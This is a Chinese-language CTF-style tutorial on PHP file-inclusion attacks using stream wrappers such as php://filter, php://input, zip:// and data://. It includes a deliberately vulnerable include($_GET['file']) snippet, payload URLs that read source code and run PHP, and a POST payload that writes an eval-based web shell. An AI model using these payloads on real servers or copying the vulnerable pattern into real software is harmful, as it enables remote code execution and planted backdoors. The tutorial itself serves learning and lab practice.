php伪协议实现命令执行的七种姿势
文件包含函數:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。
首先歸納下常見的文件包含函數:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,計劃對文件包含漏洞與php封裝協議的利用方法進行總結,本篇先總結下一些封裝協議,涉及的相關協議:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后續再對每個文件包含函數進一步進行探討。
環境概要:
PHP.ini:
allow_url_fopen :on ?默認開啟 ?該選項為on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。
allow_url_include:off ?默認關閉,該選項為on便是允許 包含URL 對象文件等。
?
為了能夠盡可能的列舉所有情況本次測試使用的PHP版本為>=5.2 具體為5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00進行截斷。
?
0×01 是否截斷問題:
本篇由以下這個簡單的例子進行探討,首先看如下兩種文件包含情況。
情況一:不需要截斷:
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
<?php
include($_GET['file'])
?>
?
情況二:需要截斷:
在php版本<=5.2中進行測試是可以使用%00截斷的。
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00
<?php
include($_GET['file'].’.php’)
?>
?
0×02 allow_url_fopen與allow_url_include是否開啟的問題:
【file://協議】
PHP.ini:
file:// 協議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
?
file:// 用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
參考自:http://php.net/manual/zh/wrappers.file.php
使用方法:
file:// [文件的絕對路徑和文件名]
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
?
【php://協議】
條件:
不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。
php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用于讀取源碼,php://input用于執行php代碼。
參考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq
php://filter 讀取源代碼并進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了。
PHP.ini:
php://filter在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
?
測試現象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
?
php://input 可以訪問請求的原始數據的只讀流, 將post請求中的數據作為PHP代碼執行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
測試現象:
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以POST如下內容生成一句話: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>
【zip://, bzip2://, zlib://協議】
PHP.ini:
zip://, bzip2://, zlib://協議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
?
zip://, bzip2://, zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名。
參考自:http://php.net/manual/zh/wrappers.compression.php
【zip://協議】
使用方法:
zip://archive.zip#dir/file.txt
zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]
測試現象:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先將要執行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。
由于#在get請求中會將后面的參數忽略所以使用get請求時候應進行url編碼為%23,且此處經過測試相對路徑是不可行,所以只能用絕對路徑。
【bzip2://協議】
使用方法:
compress.bzip2://file.bz2
測試現象:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
?
?
【zlib://協議】
使用方法:
compress.zlib://file.gz
?
測試現象:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
?
?
【data://協議】
經過測試官方文檔上存在一處問題,經過測試PHP版本5.2,5.3,5.5,7.0;data:// 協議是是受限于allow_url_fopen的,官方文檔上給出的是NO,所以要使用data://協議需要滿足雙on條件
PHP.ini:
data://協議必須雙在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
參考自:http://php.net/manual/zh/wrappers.data.php, 官方文檔上allow_url_fopen應為yes。
?
測試現象:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?
?
0×03 ?常規小結:
PHP封裝協議在CTF蠻常見的,是經常會遇到的出題點,如下便是對本篇涉及的封裝協議進行的總結,期待小伙伴的交流和補充。
總結
以上是生活随笔為你收集整理的php伪协议实现命令执行的七种姿势的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何检测和禁止局域网内二级路由和网络共享
- 下一篇: XCTF_Web_新手练习区:simpl